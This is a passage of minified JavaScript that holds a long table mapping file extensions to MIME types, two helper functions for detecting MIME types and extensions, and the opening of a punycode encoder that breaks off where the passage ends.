d.graphviz"],["gxt","application/vnd.geonext"],["gz",["application/x-gzip","application/x-compressed"]],["gzip",["multipart/x-gzip","application/x-gzip"]],["h",["text/plain","text/x-h"]],["h261","video/h261"],["h263","video/h263"],["h264","video/h264"],["hal","application/vnd.hal+xml"],["hbci","application/vnd.hbci"],["hdf","application/x-hdf"],["help","application/x-helpfile"],["hgl","application/vnd.hp-hpgl"],["hh",["text/plain","text/x-h"]],["hlb","text/x-script"],["hlp",["application/winhlp","application/hlp","application/x-helpfile","application/x-winhelp"]],["hpg","application/vnd.hp-hpgl"],["hpgl","application/vnd.hp-hpgl"],["hpid","application/vnd.hp-hpid"],["hps","application/vnd.hp-hps"],["hqx",["application/mac-binhex40","application/binhex","application/binhex4","application/mac-binhex","application/x-binhex40","application/x-mac-binhex40"]],["hta","application/hta"],["htc","text/x-component"],["htke","application/vnd.kenameaapp"],["htm","text/html"],["html","text/html"],["htmls","text/html"],["htt","text/webviewhtml"],["htx","text/html"],["hvd","application/vnd.yamaha.hv-dic"],["hvp","application/vnd.yamaha.hv-voice"],["hvs","application/vnd.yamaha.hv-script"],["i2g","application/vnd.intergeo"],["icc","application/vnd.iccprofile"],["ice","x-conference/x-cooltalk"],["ico","image/x-icon"],["ics","text/calendar"],["idc","text/plain"],["ief","image/ief"],["iefs","image/ief"],["ifm","application/vnd.shana.informed.formdata"],["iges",["application/iges","model/iges"]],["igl","application/vnd.igloader"],["igm","application/vnd.insors.igm"],["igs",["application/iges","model/iges"]],["igx","application/vnd.micrografx.igx"],["iif","application/vnd.shana.informed.interchange"],["iii","application/x-iphone"],["ima","application/x-ima"],["imap","application/x-httpd-imap"],["imp","application/vnd.accpac.simply.imp"],["ims","application/vnd.ms-ims"],["inf","application/inf"],["ins",["application/x-internet-signup","application/x-internett-signup"]],["ip","application/x-ip2"],["ipfix","application/ipfix"],["ipk","application/vnd.shana.informed.package"],["irm","application/vnd.ibm.rights-management"],["irp","application/vnd.irepository.package+xml"],["isp","application/x-internet-signup"],["isu","video/x-isvideo"],["it","audio/it"],["itp","application/vnd.shana.informed.formtemplate"],["iv","application/x-inventor"],["ivp","application/vnd.immervision-ivp"],["ivr","i-world/i-vrml"],["ivu","application/vnd.immervision-ivu"],["ivy","application/x-livescreen"],["jad","text/vnd.sun.j2me.app-descriptor"],["jam",["application/vnd.jam","audio/x-jam"]],["jar","application/java-archive"],["jav",["text/plain","text/x-java-source"]],["java",["text/plain","text/x-java-source,java","text/x-java-source"]],["jcm","application/x-java-commerce"],["jfif",["image/pipeg","image/jpeg","image/pjpeg"]],["jfif-tbnl","image/jpeg"],["jisp","application/vnd.jisp"],["jlt","application/vnd.hp-jlyt"],["jnlp","application/x-java-jnlp-file"],["joda","application/vnd.joost.joda-archive"],["jpe",["image/jpeg","image/pjpeg"]],["jpeg",["image/jpeg","image/pjpeg"]],["jpg",["image/jpeg","image/pjpeg"]],["jpgv","video/jpeg"],["jpm","video/jpm"],["jps","image/x-jps"],["js",["application/javascript","application/ecmascript","text/javascript","text/ecmascript","application/x-javascript"]],["json","application/json"],["jut","image/jutvision"],["kar",["audio/midi","music/x-karaoke"]],["karbon","application/vnd.kde.karbon"],["kfo","application/vnd.kde.kformula"],["kia","application/vnd.kidspiration"],["kml","application/vnd.google-earth.kml+xml"],["kmz","application/vnd.google-earth.kmz"],["kne","application/vnd.kinar"],["kon","application/vnd.kde.kontour"],["kpr","application/vnd.kde.kpresenter"],["ksh",["application/x-ksh","text/x-script.ksh"]],["ksp","application/vnd.kde.kspread"],["ktx","image/ktx"],["ktz","application/vnd.kahootz"],["kwd","application/vnd.kde.kword"],["la",["audio/nspaudio","audio/x-nspaudio"]],["lam","audio/x-liveaudio"],["lasxml","application/vnd.las.las+xml"],["latex","application/x-latex"],["lbd","application/vnd.llamagraphics.life-balance.desktop"],["lbe","application/vnd.llamagraphics.life-balance.exchange+xml"],["les","application/vnd.hhe.lesson-player"],["lha",["application/octet-stream","application/lha","application/x-lha"]],["lhx","application/octet-stream"],["link66","application/vnd.route66.link66+xml"],["list","text/plain"],["lma",["audio/nspaudio","audio/x-nspaudio"]],["log","text/plain"],["lrm","application/vnd.ms-lrm"],["lsf","video/x-la-asf"],["lsp",["application/x-lisp","text/x-script.lisp"]],["lst","text/plain"],["lsx",["video/x-la-asf","text/x-la-asf"]],["ltf","application/vnd.frogans.ltf"],["ltx","application/x-latex"],["lvp","audio/vnd.lucent.voice"],["lwp","application/vnd.lotus-wordpro"],["lzh",["application/octet-stream","application/x-lzh"]],["lzx",["application/lzx","application/octet-stream","application/x-lzx"]],["m",["text/plain","text/x-m"]],["m13","application/x-msmediaview"],["m14","application/x-msmediaview"],["m1v","video/mpeg"],["m21","application/mp21"],["m2a","audio/mpeg"],["m2v","video/mpeg"],["m3u",["audio/x-mpegurl","audio/x-mpequrl"]],["m3u8","application/vnd.apple.mpegurl"],["m4v","video/x-m4v"],["ma","application/mathematica"],["mads","application/mads+xml"],["mag","application/vnd.ecowin.chart"],["man","application/x-troff-man"],["map","application/x-navimap"],["mar","text/plain"],["mathml","application/mathml+xml"],["mbd","application/mbedlet"],["mbk","application/vnd.mobius.mbk"],["mbox","application/mbox"],["mc$","application/x-magic-cap-package-1.0"],["mc1","application/vnd.medcalcdata"],["mcd",["application/mcad","application/vnd.mcd","application/x-mathcad"]],["mcf",["image/vasa","text/mcf"]],["mcp","application/netmc"],["mcurl","text/vnd.curl.mcurl"],["mdb","application/x-msaccess"],["mdi","image/vnd.ms-modi"],["me","application/x-troff-me"],["meta4","application/metalink4+xml"],["mets","application/mets+xml"],["mfm","application/vnd.mfmp"],["mgp","application/vnd.osgeo.mapguide.package"],["mgz","application/vnd.proteus.magazine"],["mht","message/rfc822"],["mhtml","message/rfc822"],["mid",["audio/mid","audio/midi","music/crescendo","x-music/x-midi","audio/x-midi","application/x-midi","audio/x-mid"]],["midi",["audio/midi","music/crescendo","x-music/x-midi","audio/x-midi","application/x-midi","audio/x-mid"]],["mif",["application/vnd.mif","application/x-mif","application/x-frame"]],["mime",["message/rfc822","www/mime"]],["mj2","video/mj2"],["mjf","audio/x-vnd.audioexplosion.mjuicemediafile"],["mjpg","video/x-motion-jpeg"],["mlp","application/vnd.dolby.mlp"],["mm",["application/base64","application/x-meme"]],["mmd","application/vnd.chipnuts.karaoke-mmd"],["mme","application/base64"],["mmf","application/vnd.smaf"],["mmr","image/vnd.fujixerox.edmics-mmr"],["mny","application/x-msmoney"],["mod",["audio/mod","audio/x-mod"]],["mods","application/mods+xml"],["moov","video/quicktime"],["mov","video/quicktime"],["movie","video/x-sgi-movie"],["mp2",["video/mpeg","audio/mpeg","video/x-mpeg","audio/x-mpeg","video/x-mpeq2a"]],["mp3",["audio/mpeg","audio/mpeg3","video/mpeg","audio/x-mpeg-3","video/x-mpeg"]],["mp4",["video/mp4","application/mp4"]],["mp4a","audio/mp4"],["mpa",["video/mpeg","audio/mpeg"]],["mpc",["application/vnd.mophun.certificate","application/x-project"]],["mpe","video/mpeg"],["mpeg","video/mpeg"],["mpg",["video/mpeg","audio/mpeg"]],["mpga","audio/mpeg"],["mpkg","application/vnd.apple.installer+xml"],["mpm","application/vnd.blueice.multipass"],["mpn","application/vnd.mophun.application"],["mpp","application/vnd.ms-project"],["mpt","application/x-project"],["mpv","application/x-project"],["mpv2","video/mpeg"],["mpx","application/x-project"],["mpy","application/vnd.ibm.minipay"],["mqy","application/vnd.mobius.mqy"],["mrc","application/marc"],["mrcx","application/marcxml+xml"],["ms","application/x-troff-ms"],["mscml","application/mediaservercontrol+xml"],["mseq","application/vnd.mseq"],["msf","application/vnd.epson.msf"],["msg","application/vnd.ms-outlook"],["msh","model/mesh"],["msl","application/vnd.mobius.msl"],["msty","application/vnd.muvee.style"],["mts","model/vnd.mts"],["mus","application/vnd.musician"],["musicxml","application/vnd.recordare.musicxml+xml"],["mv","video/x-sgi-movie"],["mvb","application/x-msmediaview"],["mwf","application/vnd.mfer"],["mxf","application/mxf"],["mxl","application/vnd.recordare.musicxml"],["mxml","application/xv+xml"],["mxs","application/vnd.triscape.mxs"],["mxu","video/vnd.mpegurl"],["my","audio/make"],["mzz","application/x-vnd.audioexplosion.mzz"],["n-gage","application/vnd.nokia.n-gage.symbian.install"],["n3","text/n3"],["nap","image/naplps"],["naplps","image/naplps"],["nbp","application/vnd.wolfram.player"],["nc","application/x-netcdf"],["ncm","application/vnd.nokia.configuration-message"],["ncx","application/x-dtbncx+xml"],["ngdat","application/vnd.nokia.n-gage.data"],["nif","image/x-niff"],["niff","image/x-niff"],["nix","application/x-mix-transfer"],["nlu","application/vnd.neurolanguage.nlu"],["nml","application/vnd.enliven"],["nnd","application/vnd.noblenet-directory"],["nns","application/vnd.noblenet-sealer"],["nnw","application/vnd.noblenet-web"],["npx","image/vnd.net-fpx"],["nsc","application/x-conference"],["nsf","application/vnd.lotus-notes"],["nvd","application/x-navidoc"],["nws","message/rfc822"],["o","application/octet-stream"],["oa2","application/vnd.fujitsu.oasys2"],["oa3","application/vnd.fujitsu.oasys3"],["oas","application/vnd.fujitsu.oasys"],["obd","application/x-msbinder"],["oda","application/oda"],["odb","application/vnd.oasis.opendocument.database"],["odc","application/vnd.oasis.opendocument.chart"],["odf","application/vnd.oasis.opendocument.formula"],["odft","application/vnd.oasis.opendocument.formula-template"],["odg","application/vnd.oasis.opendocument.graphics"],["odi","application/vnd.oasis.opendocument.image"],["odm","application/vnd.oasis.opendocument.text-master"],["odp","application/vnd.oasis.opendocument.presentation"],["ods","application/vnd.oasis.opendocument.spreadsheet"],["odt","application/vnd.oasis.opendocument.text"],["oga","audio/ogg"],["ogv","video/ogg"],["ogx","application/ogg"],["omc","application/x-omc"],["omcd","application/x-omcdatamaker"],["omcr","application/x-omcregerator"],["onetoc","application/onenote"],["opf","application/oebps-package+xml"],["org","application/vnd.lotus-organizer"],["osf","application/vnd.yamaha.openscoreformat"],["osfpvg","application/vnd.yamaha.openscoreformat.osfpvg+xml"],["otc","application/vnd.oasis.opendocument.chart-template"],["otf","application/x-font-otf"],["otg","application/vnd.oasis.opendocument.graphics-template"],["oth","application/vnd.oasis.opendocument.text-web"],["oti","application/vnd.oasis.opendocument.image-template"],["otp","application/vnd.oasis.opendocument.presentation-template"],["ots","application/vnd.oasis.opendocument.spreadsheet-template"],["ott","application/vnd.oasis.opendocument.text-template"],["oxt","application/vnd.openofficeorg.extension"],["p","text/x-pascal"],["p10",["application/pkcs10","application/x-pkcs10"]],["p12",["application/pkcs-12","application/x-pkcs12"]],["p7a","application/x-pkcs7-signature"],["p7b","application/x-pkcs7-certificates"],["p7c",["application/pkcs7-mime","application/x-pkcs7-mime"]],["p7m",["application/pkcs7-mime","application/x-pkcs7-mime"]],["p7r","application/x-pkcs7-certreqresp"],["p7s",["application/pkcs7-signature","application/x-pkcs7-signature"]],["p8","application/pkcs8"],["par","text/plain-bas"],["part","application/pro_eng"],["pas","text/pascal"],["paw","application/vnd.pawaafile"],["pbd","application/vnd.powerbuilder6"],["pbm","image/x-portable-bitmap"],["pcf","application/x-font-pcf"],["pcl",["application/vnd.hp-pcl","application/x-pcl"]],["pclxl","application/vnd.hp-pclxl"],["pct","image/x-pict"],["pcurl","application/vnd.curl.pcurl"],["pcx","image/x-pcx"],["pdb",["application/vnd.palm","chemical/x-pdb"]],["pdf","application/pdf"],["pfa","application/x-font-type1"],["pfr","application/font-tdpfr"],["pfunk",["audio/make","audio/make.my.funk"]],["pfx","application/x-pkcs12"],["pgm",["image/x-portable-graymap","image/x-portable-greymap"]],["pgn","application/x-chess-pgn"],["pgp","application/pgp-signature"],["pic",["image/pict","image/x-pict"]],["pict","image/pict"],["pkg","application/x-newton-compatible-pkg"],["pki","application/pkixcmp"],["pkipath","application/pkix-pkipath"],["pko",["application/ynd.ms-pkipko","application/vnd.ms-pki.pko"]],["pl",["text/plain","text/x-script.perl"]],["plb","application/vnd.3gpp.pic-bw-large"],["plc","application/vnd.mobius.plc"],["plf","application/vnd.pocketlearn"],["pls","application/pls+xml"],["plx","application/x-pixclscript"],["pm",["text/x-script.perl-module","image/x-xpixmap"]],["pm4","application/x-pagemaker"],["pm5","application/x-pagemaker"],["pma","application/x-perfmon"],["pmc","application/x-perfmon"],["pml",["application/vnd.ctc-posml","application/x-perfmon"]],["pmr","application/x-perfmon"],["pmw","application/x-perfmon"],["png","image/png"],["pnm",["application/x-portable-anymap","image/x-portable-anymap"]],["portpkg","application/vnd.macports.portpkg"],["pot",["application/vnd.ms-powerpoint","application/mspowerpoint"]],["potm","application/vnd.ms-powerpoint.template.macroenabled.12"],["potx","application/vnd.openxmlformats-officedocument.presentationml.template"],["pov","model/x-pov"],["ppa","application/vnd.ms-powerpoint"],["ppam","application/vnd.ms-powerpoint.addin.macroenabled.12"],["ppd","application/vnd.cups-ppd"],["ppm","image/x-portable-pixmap"],["pps",["application/vnd.ms-powerpoint","application/mspowerpoint"]],["ppsm","application/vnd.ms-powerpoint.slideshow.macroenabled.12"],["ppsx","application/vnd.openxmlformats-officedocument.presentationml.slideshow"],["ppt",["application/vnd.ms-powerpoint","application/mspowerpoint","application/powerpoint","application/x-mspowerpoint"]],["pptm","application/vnd.ms-powerpoint.presentation.macroenabled.12"],["pptx","application/vnd.openxmlformats-officedocument.presentationml.presentation"],["ppz","application/mspowerpoint"],["prc","application/x-mobipocket-ebook"],["pre",["application/vnd.lotus-freelance","application/x-freelance"]],["prf","application/pics-rules"],["prt","application/pro_eng"],["ps","application/postscript"],["psb","application/vnd.3gpp.pic-bw-small"],["psd",["application/octet-stream","image/vnd.adobe.photoshop"]],["psf","application/x-font-linux-psf"],["pskcxml","application/pskc+xml"],["ptid","application/vnd.pvi.ptid1"],["pub","application/x-mspublisher"],["pvb","application/vnd.3gpp.pic-bw-var"],["pvu","paleovu/x-pv"],["pwn","application/vnd.3m.post-it-notes"],["pwz","application/vnd.ms-powerpoint"],["py","text/x-script.phyton"],["pya","audio/vnd.ms-playready.media.pya"],["pyc","application/x-bytecode.python"],["pyv","video/vnd.ms-playready.media.pyv"],["qam","application/vnd.epson.quickanime"],["qbo","application/vnd.intu.qbo"],["qcp","audio/vnd.qcelp"],["qd3","x-world/x-3dmf"],["qd3d","x-world/x-3dmf"],["qfx","application/vnd.intu.qfx"],["qif","image/x-quicktime"],["qps","application/vnd.publishare-delta-tree"],["qt","video/quicktime"],["qtc","video/x-qtc"],["qti","image/x-quicktime"],["qtif","image/x-quicktime"],["qxd","application/vnd.quark.quarkxpress"],["ra",["audio/x-realaudio","audio/x-pn-realaudio","audio/x-pn-realaudio-plugin"]],["ram","audio/x-pn-realaudio"],["rar","application/x-rar-compressed"],["ras",["image/cmu-raster","application/x-cmu-raster","image/x-cmu-raster"]],["rast","image/cmu-raster"],["rcprofile","application/vnd.ipunplugged.rcprofile"],["rdf","application/rdf+xml"],["rdz","application/vnd.data-vision.rdz"],["rep","application/vnd.businessobjects"],["res","application/x-dtbresource+xml"],["rexx","text/x-script.rexx"],["rf","image/vnd.rn-realflash"],["rgb","image/x-rgb"],["rif","application/reginfo+xml"],["rip","audio/vnd.rip"],["rl","application/resource-lists+xml"],["rlc","image/vnd.fujixerox.edmics-rlc"],["rld","application/resource-lists-diff+xml"],["rm",["application/vnd.rn-realmedia","audio/x-pn-realaudio"]],["rmi","audio/mid"],["rmm","audio/x-pn-realaudio"],["rmp",["audio/x-pn-realaudio-plugin","audio/x-pn-realaudio"]],["rms","application/vnd.jcp.javame.midlet-rms"],["rnc","application/relax-ng-compact-syntax"],["rng",["application/ringing-tones","application/vnd.nokia.ringing-tone"]],["rnx","application/vnd.rn-realplayer"],["roff","application/x-troff"],["rp","image/vnd.rn-realpix"],["rp9","application/vnd.cloanto.rp9"],["rpm","audio/x-pn-realaudio-plugin"],["rpss","application/vnd.nokia.radio-presets"],["rpst","application/vnd.nokia.radio-preset"],["rq","application/sparql-query"],["rs","application/rls-services+xml"],["rsd","application/rsd+xml"],["rt",["text/richtext","text/vnd.rn-realtext"]],["rtf",["application/rtf","text/richtext","application/x-rtf"]],["rtx",["text/richtext","application/rtf"]],["rv","video/vnd.rn-realvideo"],["s","text/x-asm"],["s3m","audio/s3m"],["saf","application/vnd.yamaha.smaf-audio"],["saveme","application/octet-stream"],["sbk","application/x-tbook"],["sbml","application/sbml+xml"],["sc","application/vnd.ibm.secure-container"],["scd","application/x-msschedule"],["scm",["application/vnd.lotus-screencam","video/x-scm","text/x-script.guile","application/x-lotusscreencam","text/x-script.scheme"]],["scq","application/scvp-cv-request"],["scs","application/scvp-cv-response"],["sct","text/scriptlet"],["scurl","text/vnd.curl.scurl"],["sda","application/vnd.stardivision.draw"],["sdc","application/vnd.stardivision.calc"],["sdd","application/vnd.stardivision.impress"],["sdkm","application/vnd.solent.sdkm+xml"],["sdml","text/plain"],["sdp",["application/sdp","application/x-sdp"]],["sdr","application/sounder"],["sdw","application/vnd.stardivision.writer"],["sea",["application/sea","application/x-sea"]],["see","application/vnd.seemail"],["seed","application/vnd.fdsn.seed"],["sema","application/vnd.sema"],["semd","application/vnd.semd"],["semf","application/vnd.semf"],["ser","application/java-serialized-object"],["set","application/set"],["setpay","application/set-payment-initiation"],["setreg","application/set-registration-initiation"],["sfd-hdstx","application/vnd.hydrostatix.sof-data"],["sfs","application/vnd.spotfire.sfs"],["sgl","application/vnd.stardivision.writer-global"],["sgm",["text/sgml","text/x-sgml"]],["sgml",["text/sgml","text/x-sgml"]],["sh",["application/x-shar","application/x-bsh","application/x-sh","text/x-script.sh"]],["shar",["application/x-bsh","application/x-shar"]],["shf","application/shf+xml"],["shtml",["text/html","text/x-server-parsed-html"]],["sid","audio/x-psid"],["sis","application/vnd.symbian.install"],["sit",["application/x-stuffit","application/x-sit"]],["sitx","application/x-stuffitx"],["skd","application/x-koan"],["skm","application/x-koan"],["skp",["application/vnd.koan","application/x-koan"]],["skt","application/x-koan"],["sl","application/x-seelogo"],["sldm","application/vnd.ms-powerpoint.slide.macroenabled.12"],["sldx","application/vnd.openxmlformats-officedocument.presentationml.slide"],["slt","application/vnd.epson.salt"],["sm","application/vnd.stepmania.stepchart"],["smf","application/vnd.stardivision.math"],["smi",["application/smil","application/smil+xml"]],["smil","application/smil"],["snd",["audio/basic","audio/x-adpcm"]],["snf","application/x-font-snf"],["sol","application/solids"],["spc",["text/x-speech","application/x-pkcs7-certificates"]],["spf","application/vnd.yamaha.smaf-phrase"],["spl",["application/futuresplash","application/x-futuresplash"]],["spot","text/vnd.in3d.spot"],["spp","application/scvp-vp-response"],["spq","application/scvp-vp-request"],["spr","application/x-sprite"],["sprite","application/x-sprite"],["src","application/x-wais-source"],["sru","application/sru+xml"],["srx","application/sparql-results+xml"],["sse","application/vnd.kodak-descriptor"],["ssf","application/vnd.epson.ssf"],["ssi","text/x-server-parsed-html"],["ssm","application/streamingmedia"],["ssml","application/ssml+xml"],["sst",["application/vnd.ms-pkicertstore","application/vnd.ms-pki.certstore"]],["st","application/vnd.sailingtracker.track"],["stc","application/vnd.sun.xml.calc.template"],["std","application/vnd.sun.xml.draw.template"],["step","application/step"],["stf","application/vnd.wt.stf"],["sti","application/vnd.sun.xml.impress.template"],["stk","application/hyperstudio"],["stl",["application/vnd.ms-pkistl","application/sla","application/vnd.ms-pki.stl","application/x-navistyle"]],["stm","text/html"],["stp","application/step"],["str","application/vnd.pg.format"],["stw","application/vnd.sun.xml.writer.template"],["sub","image/vnd.dvb.subtitle"],["sus","application/vnd.sus-calendar"],["sv4cpio","application/x-sv4cpio"],["sv4crc","application/x-sv4crc"],["svc","application/vnd.dvb.service"],["svd","application/vnd.svd"],["svf",["image/vnd.dwg","image/x-dwg"]],["svg","image/svg+xml"],["svr",["x-world/x-svr","application/x-world"]],["swf","application/x-shockwave-flash"],["swi","application/vnd.aristanetworks.swi"],["sxc","application/vnd.sun.xml.calc"],["sxd","application/vnd.sun.xml.draw"],["sxg","application/vnd.sun.xml.writer.global"],["sxi","application/vnd.sun.xml.impress"],["sxm","application/vnd.sun.xml.math"],["sxw","application/vnd.sun.xml.writer"],["t",["text/troff","application/x-troff"]],["talk","text/x-speech"],["tao","application/vnd.tao.intent-module-archive"],["tar","application/x-tar"],["tbk",["application/toolbook","application/x-tbook"]],["tcap","application/vnd.3gpp2.tcap"],["tcl",["text/x-script.tcl","application/x-tcl"]],["tcsh","text/x-script.tcsh"],["teacher","application/vnd.smart.teacher"],["tei","application/tei+xml"],["tex","application/x-tex"],["texi","application/x-texinfo"],["texinfo","application/x-texinfo"],["text",["application/plain","text/plain"]],["tfi","application/thraud+xml"],["tfm","application/x-tex-tfm"],["tgz",["application/gnutar","application/x-compressed"]],["thmx","application/vnd.ms-officetheme"],["tif",["image/tiff","image/x-tiff"]],["tiff",["image/tiff","image/x-tiff"]],["tmo","application/vnd.tmobile-livetv"],["torrent","application/x-bittorrent"],["tpl","application/vnd.groove-tool-template"],["tpt","application/vnd.trid.tpt"],["tr","application/x-troff"],["tra","application/vnd.trueapp"],["trm","application/x-msterminal"],["tsd","application/timestamped-data"],["tsi","audio/tsp-audio"],["tsp",["application/dsptype","audio/tsplayer"]],["tsv","text/tab-separated-values"],["ttf","application/x-font-ttf"],["ttl","text/turtle"],["turbot","image/florian"],["twd","application/vnd.simtech-mindmapper"],["txd","application/vnd.genomatix.tuxedo"],["txf","application/vnd.mobius.txf"],["txt","text/plain"],["ufd","application/vnd.ufdl"],["uil","text/x-uil"],["uls","text/iuls"],["umj","application/vnd.umajin"],["uni","text/uri-list"],["unis","text/uri-list"],["unityweb","application/vnd.unity"],["unv","application/i-deas"],["uoml","application/vnd.uoml+xml"],["uri","text/uri-list"],["uris","text/uri-list"],["ustar",["application/x-ustar","multipart/x-ustar"]],["utz","application/vnd.uiq.theme"],["uu",["application/octet-stream","text/x-uuencode"]],["uue","text/x-uuencode"],["uva","audio/vnd.dece.audio"],["uvh","video/vnd.dece.hd"],["uvi","image/vnd.dece.graphic"],["uvm","video/vnd.dece.mobile"],["uvp","video/vnd.dece.pd"],["uvs","video/vnd.dece.sd"],["uvu","video/vnd.uvvu.mp4"],["uvv","video/vnd.dece.video"],["vcd","application/x-cdlink"],["vcf","text/x-vcard"],["vcg","application/vnd.groove-vcard"],["vcs","text/x-vcalendar"],["vcx","application/vnd.vcx"],["vda","application/vda"],["vdo","video/vdo"],["vew","application/groupwise"],["vis","application/vnd.visionary"],["viv",["video/vivo","video/vnd.vivo"]],["vivo",["video/vivo","video/vnd.vivo"]],["vmd","application/vocaltec-media-desc"],["vmf","application/vocaltec-media-file"],["voc",["audio/voc","audio/x-voc"]],["vos","video/vosaic"],["vox","audio/voxware"],["vqe","audio/x-twinvq-plugin"],["vqf","audio/x-twinvq"],["vql","audio/x-twinvq-plugin"],["vrml",["model/vrml","x-world/x-vrml","application/x-vrml"]],["vrt","x-world/x-vrt"],["vsd",["application/vnd.visio","application/x-visio"]],["vsf","application/vnd.vsf"],["vst","application/x-visio"],["vsw","application/x-visio"],["vtu","model/vnd.vtu"],["vxml","application/voicexml+xml"],["w60","application/wordperfect6.0"],["w61","application/wordperfect6.1"],["w6w","application/msword"],["wad","application/x-doom"],["wav",["audio/wav","audio/x-wav"]],["wax","audio/x-ms-wax"],["wb1","application/x-qpro"],["wbmp","image/vnd.wap.wbmp"],["wbs","application/vnd.criticaltools.wbs+xml"],["wbxml","application/vnd.wap.wbxml"],["wcm","application/vnd.ms-works"],["wdb","application/vnd.ms-works"],["web","application/vnd.xara"],["weba","audio/webm"],["webm","video/webm"],["webp","image/webp"],["wg","application/vnd.pmi.widget"],["wgt","application/widget"],["wiz","application/msword"],["wk1","application/x-123"],["wks","application/vnd.ms-works"],["wm","video/x-ms-wm"],["wma","audio/x-ms-wma"],["wmd","application/x-ms-wmd"],["wmf",["windows/metafile","application/x-msmetafile"]],["wml","text/vnd.wap.wml"],["wmlc","application/vnd.wap.wmlc"],["wmls","text/vnd.wap.wmlscript"],["wmlsc","application/vnd.wap.wmlscriptc"],["wmv","video/x-ms-wmv"],["wmx","video/x-ms-wmx"],["wmz","application/x-ms-wmz"],["woff","application/x-font-woff"],["word","application/msword"],["wp","application/wordperfect"],["wp5",["application/wordperfect","application/wordperfect6.0"]],["wp6","application/wordperfect"],["wpd",["application/wordperfect","application/vnd.wordperfect","application/x-wpwin"]],["wpl","application/vnd.ms-wpl"],["wps","application/vnd.ms-works"],["wq1","application/x-lotus"],["wqd","application/vnd.wqd"],["wri",["application/mswrite","application/x-wri","application/x-mswrite"]],["wrl",["model/vrml","x-world/x-vrml","application/x-world"]],["wrz",["model/vrml","x-world/x-vrml"]],["wsc","text/scriplet"],["wsdl","application/wsdl+xml"],["wspolicy","application/wspolicy+xml"],["wsrc","application/x-wais-source"],["wtb","application/vnd.webturbo"],["wtk","application/x-wintalk"],["wvx","video/x-ms-wvx"],["x-png","image/png"],["x3d","application/vnd.hzn-3d-crossword"],["xaf","x-world/x-vrml"],["xap","application/x-silverlight-app"],["xar","application/vnd.xara"],["xbap","application/x-ms-xbap"],["xbd","application/vnd.fujixerox.docuworks.binder"],["xbm",["image/xbm","image/x-xbm","image/x-xbitmap"]],["xdf","application/xcap-diff+xml"],["xdm","application/vnd.syncml.dm+xml"],["xdp","application/vnd.adobe.xdp+xml"],["xdr","video/x-amt-demorun"],["xdssc","application/dssc+xml"],["xdw","application/vnd.fujixerox.docuworks"],["xenc","application/xenc+xml"],["xer","application/patch-ops-error+xml"],["xfdf","application/vnd.adobe.xfdf"],["xfdl","application/vnd.xfdl"],["xgz","xgl/drawing"],["xhtml","application/xhtml+xml"],["xif","image/vnd.xiff"],["xl","application/excel"],["xla",["application/vnd.ms-excel","application/excel","application/x-msexcel","application/x-excel"]],["xlam","application/vnd.ms-excel.addin.macroenabled.12"],["xlb",["application/excel","application/vnd.ms-excel","application/x-excel"]],["xlc",["application/vnd.ms-excel","application/excel","application/x-excel"]],["xld",["application/excel","application/x-excel"]],["xlk",["application/excel","application/x-excel"]],["xll",["application/excel","application/vnd.ms-excel","application/x-excel"]],["xlm",["application/vnd.ms-excel","application/excel","application/x-excel"]],["xls",["application/vnd.ms-excel","application/excel","application/x-msexcel","application/x-excel"]],["xlsb","application/vnd.ms-excel.sheet.binary.macroenabled.12"],["xlsm","application/vnd.ms-excel.sheet.macroenabled.12"],["xlsx","application/vnd.openxmlformats-officedocument.spreadsheetml.sheet"],["xlt",["application/vnd.ms-excel","application/excel","application/x-excel"]],["xltm","application/vnd.ms-excel.template.macroenabled.12"],["xltx","application/vnd.openxmlformats-officedocument.spreadsheetml.template"],["xlv",["application/excel","application/x-excel"]],["xlw",["application/vnd.ms-excel","application/excel","application/x-msexcel","application/x-excel"]],["xm","audio/xm"],["xml",["application/xml","text/xml","application/atom+xml","application/rss+xml"]],["xmz","xgl/movie"],["xo","application/vnd.olpc-sugar"],["xof","x-world/x-vrml"],["xop","application/xop+xml"],["xpi","application/x-xpinstall"],["xpix","application/x-vnd.ls-xpix"],["xpm",["image/xpm","image/x-xpixmap"]],["xpr","application/vnd.is-xpr"],["xps","application/vnd.ms-xpsdocument"],["xpw","application/vnd.intercon.formnet"],["xslt","application/xslt+xml"],["xsm","application/vnd.syncml+xml"],["xspf","application/xspf+xml"],["xsr","video/x-amt-showrun"],["xul","application/vnd.mozilla.xul+xml"],["xwd",["image/x-xwd","image/x-xwindowdump"]],["xyz",["chemical/x-xyz","chemical/x-pdb"]],["yang","application/yang"],["yin","application/yin+xml"],["z",["application/x-compressed","application/x-compress"]],["zaz","application/vnd.zzazz.deck+xml"],["zip",["application/zip","multipart/x-zip","application/x-zip-compressed","application/x-compressed"]],["zir","application/vnd.zul"],["zmm","application/vnd.handheld-entertainment+xml"],["zoo","application/octet-stream"],["zsh","text/x-script.zsh"]]);return E={detectMimeType(i){if(!i)return e;let n=t.parse(i),s=(n.ext.substr(1)||n.name||"").split("?").shift().trim().toLowerCase(),o=e;return a.has(s)&&(o=a.get(s)),Array.isArray(o)?o[0]:o},detectExtension(t){if(!t)return"bin";let e=(t||"").toLowerCase().trim().split("/"),a=e.shift().trim(),n=e.join("/").trim();if(i.has(a+"/"+n)){let t=i.get(a+"/"+n);return Array.isArray(t)?t[0]:t}return"text"===a?"txt":"bin"}}}function tt(){if(S)return T;S=1;const t=2147483647,e=36,i=/^xn--/,a=/[^\0-\x7F]/,n=/[\x2E\u3002\uFF0E\uFF61]/g,s={overflow:"Overflow: input needs wider integers to process","not-basic":"Illegal input >= 0x80 (not a basic code point)","invalid-input":"Invalid input"},o=Math.floor,r=String.fromCharCode;function p(t){throw new RangeError(s[t])}function c(t,e){const i=t.split("@");let a="";i.length>1&&(a=i[0]+"@",t=i[1]);const s=function(t,e){const i=[];let a=t.length;for(;a--;)i[a]=e(t[a]);return i}((t=t.replace(n,".")).split("."),e).join(".");return a+s}function l(t){const e=[];let i=0;const a=t.length;for(;i<a;){const n=t.charCodeAt(i++);if(n>=55296&&n<=56319&&i<a){const a=t.charCodeAt(i++);56320==(64512&a)?e.push(((1023&n)<<10)+(1023&a)+65536):(e.push(n),i--)}else e.push(n)}return e}const d=function(t,e){return t+22+75*(t<26)-((0!=e)<<5)},m=function(t,i,a){let n=0;for(t=a?o(t/700):t>>1,t+=o(t/i);t>455;n+=e)t=o(t/35);return o(n+36*t/(t+38))},h=function(i){const a=[],n=i.length;let s=0,r=128,c=72,l=i.lastIndexOf("-");l<0&&(l=0);for(let t=0;t<l;++t)i.charCodeAt(t)>=128&&p("not-basic"),a.push(i.charCodeAt(t));for(let h=l>0?l+1:0;h<n;){const l=s;for(let a=1,r=e;;r+=e){h>=n&&p("invalid-input");const 